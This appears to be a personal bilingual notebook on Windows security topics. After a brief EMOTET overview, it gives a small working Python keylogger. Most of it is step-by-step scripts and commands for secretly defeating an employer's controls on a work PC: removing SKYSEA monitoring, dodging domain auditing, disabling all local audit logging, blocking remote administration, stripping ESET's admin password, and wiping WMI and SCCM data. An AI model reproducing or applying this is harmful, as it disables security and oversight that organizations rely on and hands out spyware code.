Spread via Word documents

通过 Word 文档传播

The EMOTET group managed to take email as an attack vector to a next level. Through a fully automated process, EMOTET malware was delivered to the victims’ computers via infected e-mail attachments. A variety of different lures were used to trick unsuspecting users into opening these malicious attachments. In the past, EMOTET email campaigns have also been presented as invoices, shipping notices and information about COVID-19.

All these emails contained malicious Word documents, either attached to the email itself or downloadable by clicking on a link within the email itself. Once a user opened one of these documents, they could be prompted to “enable macros” so that the malicious code hidden in the Word file could run and install EMOTET malware on a victim’s computer.

EMOTET 群体成功将电子邮件作为攻击向量提升到了一个新水平。通过完全自动化的过程,EMOTET 恶意软件通过感染的电子邮件附件传递到受害者的计算机上。各种不同的诱饵被用来欺骗毫无戒备的用户打开这些恶意附件。过去,EMOTET 的电子邮件活动也曾被伪装成发票、运输通知和有关 COVID-19 的信息。

所有这些电子邮件都包含恶意的 Word 文档,文档要么附在电子邮件中,要么通过点击邮件中的链接下载。一旦用户打开了这些文档,他们可能会被提示『启用宏』,以便隐藏在 Word 文件中的恶意代码可以运行,并在受害者的计算机上安装 EMOTET 恶意软件。

Attacks for hire

雇佣攻击

EMOTET was much more than just a malware. What made EMOTET so dangerous is that the malware was offered for hire to other cybercriminals to install other types of malware, such as banking Trojans or ransomwares, onto a victim’s computer.

This type of attack is called a ‘loader’ operation, and EMOTET is said to be one of the biggest players in the cybercrime world as other malware operators like TrickBot and Ryuk have benefited from it.

Its unique way of infecting networks by spreading the threat laterally after gaining access to just a few devices in the network made it one of the most resilient malware in the wild.

EMOTET 不仅仅是一种恶意软件。EMOTET 之所以危险,是因为它被提供给其他网络犯罪分子,用于在受害者的计算机上安装其他类型的恶意软件,如银行木马或勒索软件。

这种类型的攻击被称为『加载程序』操作,EMOTET 被认为是网络犯罪世界中的最大玩家之一,因为其他恶意软件操作员如 TrickBot 和 Ryuk 从中受益。

它通过在网络中获得访问权限后横向传播威胁的独特方式,使其成为最具弹性的恶意软件之一。

Emotet Malware

Emotet 恶意软件

网络钓鱼:带有恶意链接的鱼叉式钓鱼

Keylogger

键盘记录器

python -m pip install pynput
In [1]:
from pynput import keyboard
In [2]:
log_file = 'keylog.txt'

def on_press(key: keyboard.Key | keyboard.KeyCode | None) -> None:
    with open(log_file, 'a') as f:
        f.write(f'[{key}]')

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

How to detect keyloggers?

Detecting keylogger programs on a computer usually involves fairly obvious warning signs: the browser slows down, there are delays when moving the mouse or typing, or the cursor disappears. Even if you use the best privacy browsers, keyloggers can still track your inputs.


How keyloggers infect your device?

Hackers often use social engineering methods to infect victims with keyloggers. A keylogger can infect your device in different ways, sometimes depending on your device type. And even though a spyware removal tool can handle keystroke logger detection, you want to avoid this dangerous type of malware to begin with.

Here’s the general process for how a keylogger infects your device:

  1. A cybercriminal sends an infected phishing message, usually through an email attachment, SMS message, or infected website.

  2. When you click the link for the infected website or attachment, the keylogger automatically downloads itself onto your device.

  3. The keystroke tracker immediately starts to collect your keystrokes, most likely without being detected until you run a keylogger scan.

如何检测键盘记录器?

检测计算机上键盘记录器程序的警告信号通常相当明显:浏览器变慢、鼠标移动或键击时出现延迟,或者光标消失。即使你使用最好的隐私浏览器,键盘记录器也能跟踪你的输入。


键盘记录器如何感染你的设备?

黑客通常使用社会工程学方法来感染受害者的设备。键盘记录器可以通过多种方式感染你的设备,这些方式有时取决于你的设备类型。虽然间谍软件清除工具可以处理键盘记录器的检测,但最好的办法是从一开始就避免这种危险的恶意软件。

以下是键盘记录器感染你设备的一般过程:

  1. 网络犯罪分子发送带有感染的钓鱼信息,通常通过电子邮件附件、短信或感染的网站进行发送。

  2. 当你点击感染网站的链接或附件时,键盘记录器会自动下载到你的设备上。

  3. 键盘记录器立即开始收集你的按键输入,通常在你运行键盘记录器扫描之前不会被发现。

SKYSEA 这个间谍软件的删除方法

  • Microsoft Policy Platform
  • Microsoft Endpoint Manager
    • Microsoft Endpoint Configuration Manager
      • Configuration Manager Remote Control Service
    • Microsoft Intune
      • Microsoft Intune Management Extension
  • Microsoft Azure Information Protection
  • Azure Monitor Agent

一、详细操作指南

社内PC上未经允许安装并获取操作日志的麻烦间谍软件。让我们根除这个间谍软件,提高生活质量(QoL)。

  1. 使用 RegistryFinder 删除注册表中所有包含 “skysea” 的项。也可以使用 regedit,但比较麻烦。

    删除注册表中 Key 列和 Value 列中包含 “SKYSEA” 的记录(右键点击 → 从注册表中删除)。

  2. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “Swd” 右键点击 → 属性 → 将服务状态设置为停止,将启动类型设置为禁用。

    删除 C:\WINDOWS 目录中的 “wds” 文件夹。

  3. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “awssm” 右键点击 → 属性 → 将服务状态设置为停止,将启动类型设置为禁用。

    删除 C:\WINDOWS 目录中的 “awssm” 文件夹。

  4. 将以下文本保存为 .bat 文件并运行。也可以手动停止和禁用服务。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    @echo off

    rem 禁用服务
    sc config "Swd" start= disabled
    sc config "awssm" start= disabled
    sc config "SCVCabProxySvr" start= disabled
    sc config "CompactSvc" start= disabled
    sc config "ScvUpdSvc" start= disabled
    sc config "AstExAgt" start= disabled
    sc config "ScvSvc" start= disabled
    sc config "SCV LogAgentService" start= disabled
    sc config "LogSvr" start= disabled
    sc config "IceSvc" start= disabled

    rem 停止服务
    net stop "Swd"
    net stop "awssm"
    net stop "SCVCabProxySvr"
    net stop "CompactSvc"
    net stop "ScvUpdSvc"
    net stop "AstExAgt"
    net stop "ScvSvc"
    net stop "SCV LogAgentService"
    net stop "LogSvr"
    net stop "IceSvc"

    因为各服务会进行活性监控,需要多次运行 bat 文件来完全停止它们。如果不行的话可以手动从服务界面停止。

  5. 打开任务管理器,右键点击 “SKYSEA Client View Version 16.1” → 结束任务。然后删除 C:\Program Files (x86) 目录中的 “Sky Product” 文件夹。如果无法删除,可能是服务未完全停止或者任务管理器中还有 “SKYSEA Client View Version 16.1”。

  6. 重启电脑,如果任务管理器中没有任何与 “SKYSEA” 相关的进程,说明删除成功。

结束监视社会。感谢这家公司,我连藤原竜也都讨厌了。

2023年10月15日更新

在多次停止服务后,系统部门又说『日志无法获取了』,我反复说『请远程安装』,然后删除了日志。但随着新版本的发布,他们要求重新安装。我本来不想安装,但最后不得不安装。安装后,他们又说『日志无法获取』,但我不在乎。

后来我再次尝试删除这个恶心的间谍软件,但 “C:\Program Files (x86)\Sky Product\SKYSEA Client View” 文件夹被占用,无法删除。因为不想查找具体是哪项服务占用,于是按照以下步骤进行处理:

  1. 右键点击 Windows 标志,选择 “运行”。
  2. 输入 “resmon.exe” 并点击 “确定”。
  3. 在资源监视器中,打开 “CPU” 选项卡。
  4. 展开 “关联的句柄” 部分。
  5. 在 “关联的句柄” 搜索框中输入 “SKYSEA Client View”。
  6. 等待搜索结果显示。
  7. 右键点击显示的进程,选择 “结束进程”。

即便是 Chrome 和 Outlook 也受到影响,这太恶心了。想到系统部门的老男人可能会窥探女性员工的搜索历史,真是太可怕了。

无法删除文件夹时,可以通过移除 administrators 权限并授予 everyone 完全控制权限来删除文件夹。

二、服务停止与启动脚本

昨天写的删除方法,其实不用删除注册表也可以停止服务。但是,如果想彻底清理,建议删除注册表项目。

因为有些公司可能会在删除后抱怨,所以我创建了停止和启动服务的 bat 文件。请在自担风险下使用。

服务停止.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@echo off

rem 禁用服务并停止,移动模块
sc config "Swd" start= disabled
net stop "Swd"
move C:\Windows\wds C:\kasu\wds

sc config "awssm" start= disabled
net stop "awssm"
move C:\WINDOWS\avv5sm C:\kasu\avv5sm

rem 终止进程
taskkill /F /im CtlCli64.exe
taskkill /F /im LogChromeNativeHost.exe
taskkill /F /im AstAgent.exe
taskkill /F /im CtlCli.exe
taskkill /F /im SvcMon.exe
taskkill /F /im SKYSEAHS.exe

rem 禁用其他服务
sc config "SCVCabProxySvr" start= disabled
sc config "CompactSvc" start= disabled
sc config "ScvUpdSvc" start= disabled
sc config "AstExAgt" start= disabled
sc config "ScvSvc" start= disabled
sc config "SCV LogAgentService" start= disabled
sc config "LogSvr" start= disabled
sc config "IceSvc" start= disabled

rem 停止其他服务
net stop "SCVCabProxySvr"
net stop "CompactSvc"
net stop "ScvUpdSvc"
net stop "AstExAgt"
net stop "ScvSvc"
net stop "SCV LogAgentService"
net stop "LogSvr"
net stop "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹
move "C:\Program Files (x86)\Sky Product" "C:\kasu"

服务启动.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@echo off

rem 启用服务并启动,移动模块
sc config "Swd" start= auto
net start "Swd"
move C:\kasu\wds C:\Windows\wds

sc config "awssm" start= auto
net start "awssm"
move C:\kasu\avv5sm C:\WINDOWS\avv5sm

rem 启用其他服务
sc config "SCVCabProxySvr" start= auto
sc config "CompactSvc" start= auto
sc config "ScvUpdSvc" start= auto
sc config "AstExAgt" start= auto
sc config "ScvSvc" start= auto
sc config "SCV LogAgentService" start= auto
sc config "LogSvr" start= auto
sc config "IceSvc" start= auto

rem 启动其他服务
net start "SCVCabProxySvr"
net start "CompactSvc"
net start "ScvUpdSvc"
net start "AstExAgt"
net start "ScvSvc"
net start "SCV LogAgentService"
net start "LogSvr"
net start "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹回原位置
move "C:\kasu\Sky Product" "C:\Program Files (x86)"

组织域管理员

域管理员在未联网的计算机终端上用 CMD 执行的命令不会被域级审计,因为域级审计依赖于计算机与域控制器之间的通信。若计算机与域控制器断开连接(未联网),域级审计无法实时获取和记录该计算机的操作信息。

详细解释

  1. 域级审计的工作原理:
    • 域级审计通过域控制器推送审计策略,监控和收集域中计算机的操作信息。
    • 当计算机执行某些命令或操作时,会向域控制器发送事件日志,存储在域控制器的安全日志中。
  2. 未联网时的影响:
    • 如果计算机未连接到网络或无法访问域控制器,任何在该计算机上执行的命令都无法实时同步到域控制器。
    • 因此,域级审计无法记录这些操作。
  3. 本地审计的作用:
    • 虽然无法进行域级审计,但本地审计策略(如进程创建审计、登录审计)仍然有效。
    • 这些操作会记录到本地安全日志中(在事件查看器的安全日志下)。
    • 例如,Windows 事件 ID 4688 会记录新进程的创建。
  4. 联网后同步:
    • 当未联网的计算机重新连接到域后,域策略可以再次应用,但在断网期间生成的本地日志不会自动上传到域控制器。
    • 需要手动导出或通过集中式日志管理工具收集这些本地日志。

创建本地管理员账户

组织域管理员登录到某个计算机终端并使用 cmdPowerShell 创建一个新的本地管理员账户:

  • 通过 cmd 创建本地管理员:

    1
    2
    net user NewLocalAdmin password /add
    net localgroup Administrators NewLocalAdmin /add
  • 通过 PowerShell 创建本地管理员:

    1
    2
    New-LocalUser "NewLocalAdmin" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
    Add-LocalGroupMember -Group "Administrators" -Member "NewLocalAdmin"

这会在本地计算机上创建一个名为 NewLocalAdmin 的用户,并将其添加到 Administrators 组中,从而赋予该账户管理员权限。

删除本地管理员账户

假设你希望任务在 2024 年 12 月 25 日午夜 12 点删除本地管理员账户,可以按照如下方式创建任务:

1
schtasks /create /tn "DeleteCurrentAdmin" /tr "net user CurrentAdmin /delete" /sc once /st 00:00 /sd 12/25/2024

解释:

  • /sc once:表示这是一个只执行一次的任务。
  • /st 00:00:设定任务的开始时间为午夜12点(00:00)。
  • /sd 12/25/2024:指定任务的具体日期为 2024 年 12 月 25 日。

这样,任务将在指定的日期和时间执行并删除本地管理员账户。

禁用本地审计

要在 Windows 系统上禁用本地审计,可以通过本地组策略编辑器或命令行工具来进行。以下是两种常见方法:

方法 1:使用本地组策略编辑器禁用本地审计

  1. 打开本地组策略编辑器:
    • 按下 Win + R,输入 gpedit.msc,然后按 Enter。
  2. 导航到审计策略:
    • 路径:计算机配置 → Windows 设置 → 安全设置 → 本地策略 → 审核策略。
  3. 禁用所需的审计项:
    • 在右侧面板中找到需要禁用的审计项(例如登录审核、对象访问审核、进程创建审核等)。
    • 双击需要禁用的项,在弹出的窗口中选择不审核,然后点击确定。
  4. 应用更改:
    • 关闭组策略编辑器,重启计算机或运行以下命令以使更改生效:
1
gpupdate /force

方法 2:使用命令行工具禁用本地审计

可以使用 auditpol 命令来禁用特定的审计策略。

  • 查看当前的审计策略

在命令提示符或 PowerShell 中,运行以下命令查看当前的审计策略:

1
auditpol /get /category:*
  • 禁用特定审计项

要禁用特定审计项(例如登录/注销类别下的所有审核),可以使用以下命令:

1
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
  • 禁用所有审计项

要禁用所有审计类别的审计,可以逐项禁用,或者使用批处理命令:

1
for /f "tokens=*" %a in ('auditpol /get /category:* ^| findstr /r "^[A-Z]"') do auditpol /set /category:"%a" /success:disable /failure:disable
  • 注意事项
  1. 权限要求:
    • 修改审计策略需要管理员权限,请确保在具有管理员权限的账户下执行这些操作。
  2. 安全风险:
    • 禁用本地审计会使系统无法记录安全事件和用户活动,可能导致安全风险,降低问题排查和安全合规性。
  3. 重新启用审计:
    • 如果需要重新启用本地审计,可以通过组策略编辑器将相关项设置为成功审核或失败审核,或者使用 auditpol 命令启用。

示例命令重新启用审计:

1
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

通过这些方法,可以有效控制本地审计的启用和禁用。

禁用 Windows 远程管理

Windows 远程管理涉及多个功能,如 PowerShell 远程远程桌面 和 **Windows 远程管理服务 (WinRM)**。您可以逐一禁用这些功能。

禁用 PowerShell 远程

PowerShell 中运行以下命令来禁用 PowerShell 远程功能:

1
Disable-PSRemoting -Force

禁用远程桌面 (RDP)

  1. 通过设置禁用远程桌面:

    • Win + I 打开 设置
    • 选择 系统 -> 远程桌面
    • 启用远程桌面 选项关闭。
  2. 通过命令提示符禁用远程桌面:
    打开命令提示符(管理员权限),运行以下命令:

    1
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  3. 停止远程桌面服务:

    1
    2
    sc stop TermService
    sc config TermService start= disabled

禁用 Windows Management Instrumentation (WMI)

PowerShell Remoting 依赖于 WMI(Windows Management Instrumentation)来查询计算机的状态。禁用 WMI 服务可以防止通过 WMI 查询用户和权限。

在 PowerShell 中执行以下命令禁用 WMI 服务:

1
2
Stop-Service -Name winmgmt
Set-Service -Name winmgmt -StartupType Disabled

或者,在 服务管理器 中手动禁用 Windows Management Instrumentation 服务。

如何检查和设置 WMI 权限:

  • 可使用 Component Services 或 WMI Control 控制台来查看和配置 WMI 的访问权限。
  • 步骤:
    1. 打开 compmgmt.msc(计算机管理)。
    2. 导航到 Services and Applications > WMI Control。
    3. 右键点击 WMI Control,选择 Properties。
    4. 在 Security 选项卡中,可以查看和配置 WMI 命名空间的权限。

禁用 SMB 协议

为了防止远程查看和管理,可以禁用 Server Message Block (SMB) 协议。

禁用 SMB1 协议SMB2 协议

1
2
Set-SmbServerConfiguration -EnableSMB1Protocol $false
Set-SmbServerConfiguration -EnableSMB2Protocol $false

禁用 WinRM 服务(远程管理服务)

在命令提示符或 PowerShell 中,运行以下命令:

1
2
3
4
5
# 停止 WinRM 服务
Stop-Service WinRM

# 禁用 WinRM 服务开机启动
Set-Service -Name WinRM -StartupType Disabled

配置防火墙规则

通过配置防火墙规则,可以阻止来自特定 IP 或网络的远程访问。

  • 手动创建防火墙端口规则:

通过防火墙限制远程连接,特别是禁用 PowerShell RemotingWMI 查询:

  1. 打开 Windows 防火墙
  2. 创建新的出站或入站规则,阻止端口 5985 (HTTP) 和 5986 (HTTPS),这两个端口是 PowerShell Remoting 和 WMI 查询的默认端口。
  • 通过执行命令,配置阻止远程管理端口的规则。
1
New-NetFirewallRule -DisplayName "Block PowerShell Remoting" -Direction Inbound -Protocol TCP -LocalPort 5985,5986 -Action Block
  • 通过执行命令,配置阻止 RDP(远程桌面协议)端口的规则。
1
New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Block

禁用 Remote Registry 服务

Remote Registry 服务允许远程计算机访问本地注册表,进而查看用户和权限信息。
禁用 Remote Registry 服务可以防止远程用户访问计算机的注册表,查看或修改用户信息、权限等。

  1. 打开 服务管理器,找到 Remote Registry 服务。
  2. 禁用该服务,并将启动类型设置为 禁用

或者,你可以在 PowerShell 中执行以下命令禁用服务:

1
2
Stop-Service -Name RemoteRegistry
Set-Service -Name RemoteRegistry -StartupType Disabled

使用组策略限制权限

通过 组策略(GPO)来限制域管理员的远程访问权限,禁止某些账户或组执行特定操作。

  • 禁止远程管理
  1. 打开 组策略编辑器gpedit.msc)。
  2. 导航到 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell
  3. 启用 禁用远程脚本 策略,以防止通过 PowerShell 远程执行脚本。
  • 限制管理员权限

你还可以限制某些管理员的权限,限制其在目标计算机上的操作。通过组策略,你可以定义哪些用户组可以执行管理任务。

禁用登录脚本和远程任务

禁用目标计算机的登录脚本和计划任务可以防止域管理员通过这些方式远程监视计算机。

  • 禁用计划任务
  1. 打开 任务计划程序
  2. 禁用或删除与远程监控相关的计划任务。

卸载或禁用 ESET Security

ESET Security 是防病毒和安全保护软件,禁用或卸载它需要一定的步骤和权限,特别是在企业环境中可能会受到策略限制。
如果您没有 ESET Security 的管理员密码,但需要禁用或卸载它,可以尝试以下方法。不过请注意,在公司设备上这样做可能违反 IT 政策,需谨慎操作。

方法 1: 使用 ESET 卸载工具(在安全模式下)

ESET 提供了专门的卸载工具,可以在 安全模式 下强制卸载 ESET Security,绕过管理员密码。

步骤:

  1. 下载 ESET Uninstaller 工具:

  2. 进入安全模式:

    • Win + R,输入 msconfig,按回车。
    • 引导 选项卡中,勾选 安全引导,然后点击 确定 并重启电脑。
  3. 运行 ESET Uninstaller 工具:

    • 在安全模式下,运行下载的 ESET Uninstaller 工具 (ESETUninstaller.exe)。
    • 按照提示,输入确认信息并选择要卸载的 ESET 产品。
    • 等待卸载完成。
  4. 重新启动电脑

    • 卸载完成后,重新启动电脑并返回正常模式。
    • 记得取消 安全引导 选项(在 msconfig 中取消勾选 安全引导)。

方法 2: 通过注册表重置 ESET 管理员密码

您可以尝试通过修改注册表来重置或移除 ESET Security 的管理员密码。

步骤:

  1. 打开注册表编辑器:

    • Win + R,输入 regedit,然后按回车。
  2. 定位到 ESET 密码存储路径:

    • 路径:
      1
      HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info
    • 在部分版本中,路径可能略有不同。
  3. 删除密码值:

    • 找到名为 PasswordAdminPassword 的项。
    • 右键点击该项,选择 删除
    • 关闭注册表编辑器。
  4. 重启电脑

    • 重启后,尝试打开 ESET Security,密码应该被移除。

方法 3: 通过任务管理器禁用 ESET 启动项和服务

  1. 打开任务管理器:

    • Ctrl + Shift + Esc
  2. 禁用启动项:

    • 转到 启动 选项卡。
    • 找到 ESET Security,右键点击并选择 禁用
  3. 禁用 ESET 服务:

    • 转到 服务 选项卡。
    • 找到所有与 ESET 相关的服务,右键点击,选择 停止
    • Win + R,输入 services.msc,回车。
    • 在服务列表中找到 ESET 服务,右键选择 属性,将 启动类型 设置为 禁用

让 Chromium 使用系统托盘运行(第三方工具)

Windows 本身不支持直接将 Chromium 或者 Vivaldi 移动到托盘(右下角通知区域)。但可以使用第三方工具,如 RBTrayTrayIt!,将 Chromium 最小化到系统托盘中:

  1. 下载并运行 RBTray(无需安装)。
  2. 打开 Chromium 后,用右键单击窗口右上角的最小化按钮。
  3. Chromium 图标将最小化到托盘。

查看 Microsoft Purview 扩展 和 Microsoft Single Sign-On (SSO) 插件在 Chrome 浏览器中何时部署:

  1. 打开以下目录:
    1
    %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions
  2. 找到扩展的文件夹(通过扩展程序 ID)。
    • 你可以在 chrome://extensions/ 页面中找到扩展 ID。
  3. 右键扩展文件夹,选择 属性
  4. 创建时间 中查看扩展的初始安装时间。

让 iPhone 通过 USB 分享网络给 Windows 11:

  • 安装 AppleMobileDeviceSupport
  • 打开 控制面板网络和共享中心更改适配器设置
  • 你应该能够看到 Apple Mobile Device Ethernet 或类似名称的适配器,这表示 iPhone 正在通过 USB 共享网络。
  • 如果看到该适配器,右键点击它并选择 启用

使用 MyPublicWiFi 创建虚拟无线路由器:

  • 特点:
    • 提供创建无线局域网和网络监控功能。
    • 无需依赖 Hosted Network 支持。
  • 适用情况:
    • 支持较旧的 Windows 系统和大部分无线网卡。

Windows 11 中开启移动热点

  1. 按下 Win + I 打开设置,或者点击开始菜单,选择设置
  2. 在设置界面,选择左侧菜单中的网络和互联网
  3. 网络和互联网页面中,找到并点击移动热点
  4. 选择网络连接来源
    • 共享我的互联网连接下拉菜单中,选择用于共享的网络连接来源(例如 Wi-Fi 或以太网)。
  5. 配置网络名称和密码(可选)
    • 点击编辑按钮,设置你的热点名称(SSID)和密码。确保密码满足至少8位字符的要求。
  6. 移动热点开关切换到的状态。
  7. 系统会显示热点的网络名称和密码,你可以使用其他设备连接到此热点。
  8. 在移动热点设置页面,可以查看并管理连接到热点的设备。

使用 Pi-Hole-for-WSL1 阻塞网络监控通信:

1
2
3
4
5
pihole -b self.events.data.microsoft.com
pihole -b teams.events.data.microsoft.com
pihole -b browser-intake-datadoghq.com
pihole -b dns.msftncsi.com
pihole -b msftconnecttest.com
1
pihole restartdns
1
pihole -t
1
ipconfig /flushdns

圆周运动

In [ ]:
%%bash
pip install pyautogui
In [ ]:
import pyautogui
import math
import time

# 圆周运动的参数
radius = 100  # 圆的半径
center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2  # 屏幕中心点
angle_step = 5  # 每步移动的角度增量,单位是度

# 进入无限循环
try:
    while True:
        for angle in range(0, 360, angle_step):
            # 计算当前角度的弧度值
            radian = math.radians(angle)
            # 计算新坐标
            x = center_x + radius * math.cos(radian)
            y = center_y + radius * math.sin(radian)
            # 移动鼠标
            pyautogui.moveTo(x, y)
            # 可以调整时间间隔来控制运动速度
            time.sleep(0.01)
except KeyboardInterrupt:
    print('圆周运动已停止。')
In [ ]:
%%bash
pip install pyautogui pynput
In [ ]:
import tkinter as tk
import pyautogui
import math
import threading
import time
from pynput import keyboard

class MouseCircleApp:
    def __init__(self, root):
        self.root = root
        self.root.title('Mouse Circle App')
        self.root.geometry('300x100')
        self.root.attributes('-topmost', True)

        self.running = False
        self.thread = None

        self.button = tk.Button(root, text='Start Circle', command=self.toggle_circle)
        self.button.pack(expand=True)
        
        self.listener = keyboard.Listener(on_press=self.on_key_press)
        self.listener.start()

    def toggle_circle(self):
        if not self.running:
            self.running = True
            self.button.config(text='Stop Circle')
            self.thread = threading.Thread(target=self.start_circle)
            self.thread.start()
        else:
            self.running = False
            self.button.config(text='Start Circle')

    def start_circle(self):
        radius = 100
        center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2
        angle_step = 5

        while self.running:
            for angle in range(0, 360, angle_step):
                if not self.running:
                    break
                radian = math.radians(angle)
                x = center_x + radius * math.cos(radian)
                y = center_y + radius * math.sin(radian)
                pyautogui.moveTo(x, y)
                time.sleep(0.01)

    def on_key_press(self, key):
        if key == keyboard.Key.esc:
            self.running = False
            self.button.config(text='Start Circle')
            if self.thread and self.thread.is_alive():
                self.thread.join()

if __name__ == '__main__':
    root = tk.Tk()
    app = MouseCircleApp(root)
    root.mainloop()
In [ ]:
%%bash
pyinstaller --onefile --noconsole circle.py

awake.py

使用 ctypes 库来调用 Windows API SetThreadExecutionState 防止系统进入睡眠或关闭显示器。

In [ ]:
%%bash
pip install pystray pillow
In [ ]:
import ctypes
import os
import pyautogui
import math
import time
import threading
import tkinter as tk
from pystray import Icon, MenuItem, Menu
from PIL import Image
from pynput import keyboard

# Constants for preventing sleep using SetThreadExecutionState API
ES_CONTINUOUS = 0x80000000  # Ensure the state is reset when the program exits
ES_DISPLAY_REQUIRED = 0x00000002  # Prevent the display from turning off
ES_SYSTEM_REQUIRED = 0x00000001  # Prevent the system from entering sleep

# Global variables for mouse circle functionality
running = False
circle_thread = None
button = None

def prevent_sleep():
    # Call the Windows API to prevent sleep and display off
    ctypes.windll.kernel32.SetThreadExecutionState(
        ES_CONTINUOUS | ES_DISPLAY_REQUIRED | ES_SYSTEM_REQUIRED
    )

def allow_sleep():
    # Reset the system to allow sleep and display off
    ctypes.windll.kernel32.SetThreadExecutionState(ES_CONTINUOUS)

def keep_awake():
    while True:
        # Function to simulate user activity to keep the system awake
        prevent_sleep()
        pyautogui.move(1, 0)  # Slight mouse movement to prevent idle state
        pyautogui.move(-1, 0)  # Move back to original position
        time.sleep(60 * 3)  # Sleep for 3 minutes before repeating

def on_quit(icon, root):
    # Handle the quit action from the system tray menu
    icon.stop()  # Stop the tray icon
    allow_sleep()  # Allow the system to sleep again
    root.quit()  # Quit the Tkinter main loop
    os._exit(0)  # Ensure the process exits completely

def show_window(root):
    # Show the main application window
    root.deiconify()
    root.attributes('-topmost', True)  # Bring the window to the front

def hide_window(root):
    # Hide the main application window
    root.withdraw()

def create_tray_icon(root):
    # Create a system tray icon with a menu
    image = Image.new('RGB', (64, 64), color=(0, 0, 0))  # Simple black icon
    menu = Menu(
        MenuItem('Open Window', lambda icon, item: show_window(root), default=True),
        MenuItem('Exit', lambda icon, item: on_quit(icon, root))
    )
    return Icon('Awake', image, 'Keep Awake', menu)

def toggle_circle(button):
    global running, circle_thread
    if not running:
        button.config(text='Stop Circle')
        # Start the circle motion
        running = True
        circle_thread = threading.Thread(target=start_circle)
        circle_thread.start()
    else:
        button.config(text='Start Circle')
        # Stop the circle motion
        running = False
        if circle_thread and circle_thread.is_alive():
            circle_thread.join()

def start_circle():
    global running
    radius = 100
    center_x, center_y = pyautogui.size().width // 2, pyautogui.size().height // 2
    angle_step = 5

    while running:
        for angle in range(0, 360, angle_step):
            if not running:
                break
            radian = math.radians(angle)
            x = center_x + radius * math.cos(radian)
            y = center_y + radius * math.sin(radian)
            pyautogui.moveTo(x, y)
            time.sleep(0.01)

def on_key_press(key):
    global button
    if key == keyboard.Key.esc:
        toggle_circle(button)

def main():
    # Set up the main Tkinter window
    root = tk.Tk()
    root.title('Awake & Circle')
    root.geometry('350x100')
    root.resizable(False, False)  # Fix the window size
    root.attributes('-topmost', True)  # Keep the window on top
    root.protocol('WM_DELETE_WINDOW', lambda: hide_window(root))  # Hide on close

    # Create the mouse circle button in the main window
    global button
    button = tk.Button(root, text='Start Circle', command=lambda: toggle_circle(button))
    button.pack(expand=True)

    # Start a background thread to keep the system awake
    threading.Thread(target=keep_awake, daemon=True).start()

    # Start the keyboard listener
    listener = keyboard.Listener(on_press=on_key_press)
    listener.start()

    # Create and run the system tray icon
    icon = create_tray_icon(root)
    threading.Thread(target=icon.run, daemon=True).start()

    # Run the Tkinter main loop
    root.mainloop()

if __name__ == '__main__':
    main()

说明:

  1. SetThreadExecutionState

    • ES_CONTINUOUS:保持该设置直到下一次调用。
    • ES_DISPLAY_REQUIRED:防止屏幕关闭。
    • ES_SYSTEM_REQUIRED:防止系统进入睡眠。
  2. 防止和恢复

    • prevent_sleep():调用后,系统不会进入睡眠或关闭显示器。
    • allow_sleep():调用后恢复系统默认的电源管理设置。
  3. 运行和停止

    • 运行脚本后,它会每分钟保持系统活跃,防止自动熄屏和锁屏。
    • 使用 Ctrl + C 停止脚本运行,并恢复系统默认设置。

注意:

  • 这个脚本仅在 Windows 操作系统上有效。
  • SetThreadExecutionState 是 Windows 提供的 API,用于管理电源和系统状态。务必小心使用,防止意外阻止系统进入节能状态。
In [ ]:
%%bash
pyinstaller --onefile --noconsole awake.py

setup.py

In [ ]:
from setuptools import setup
from mypyc.build import mypycify

setup(
    name='awake',
    ext_modules=mypycify(['awake.py']),
    zip_safe=False,
)
In [ ]:
%%bash
pip install mypy
In [ ]:
%%bash
python setup.py build_ext --inplace

main.py

In [ ]:
import awake

if __name__ == '__main__':
    awake.main()  # 调用编译后的模块的 main 函数
In [ ]:
%%bash
pyinstaller --onefile main.py

WMI 服务管理与清理自动化

In [ ]:
import os
import shutil
import subprocess

def stop_and_disable_service(service_name):
    '''停止并禁用指定的服务'''
    try:
        # 停止服务
        subprocess.run(['sc', 'stop', service_name], check=True, text=True)
        print(f'服务已停止:{service_name}')

        # 禁用服务
        subprocess.run(['sc', 'config', service_name, 'start=', 'disabled'], check=True, text=True)
        print(f'服务已禁用:{service_name}')
    except subprocess.CalledProcessError as e:
        print(f'操作服务 {service_name} 时发生错误:{e}')

def clear_folder_contents(folder_path):
    '''清理文件夹下的所有内容'''
    if os.path.exists(folder_path):
        try:
            # 删除文件夹下的所有文件和子目录
            for item in os.listdir(folder_path):
                item_path = os.path.join(folder_path, item)
                if os.path.isdir(item_path):
                    shutil.rmtree(item_path)
                else:
                    os.remove(item_path)
            print(f'成功清理文件夹内容:{folder_path}')
        except Exception as e:
            print(f'清理文件夹 {folder_path} 时发生错误:{e}')
    else:
        print(f'路径不存在:{folder_path}')

if __name__ == '__main__':
    # 停止并禁用服务
    stop_and_disable_service('winmgmt')
    stop_and_disable_service('CcmExec')

    # 定义文件夹路径
    wbem_base_path = r'C:\\Windows\\System32\\wbem'
    auto_recover_path = os.path.join(wbem_base_path, 'AutoRecover')
    repository_path = os.path.join(wbem_base_path, 'Repository')
    remote_control_path = r'C:\\Windows\\CCM\\RemCtrl'

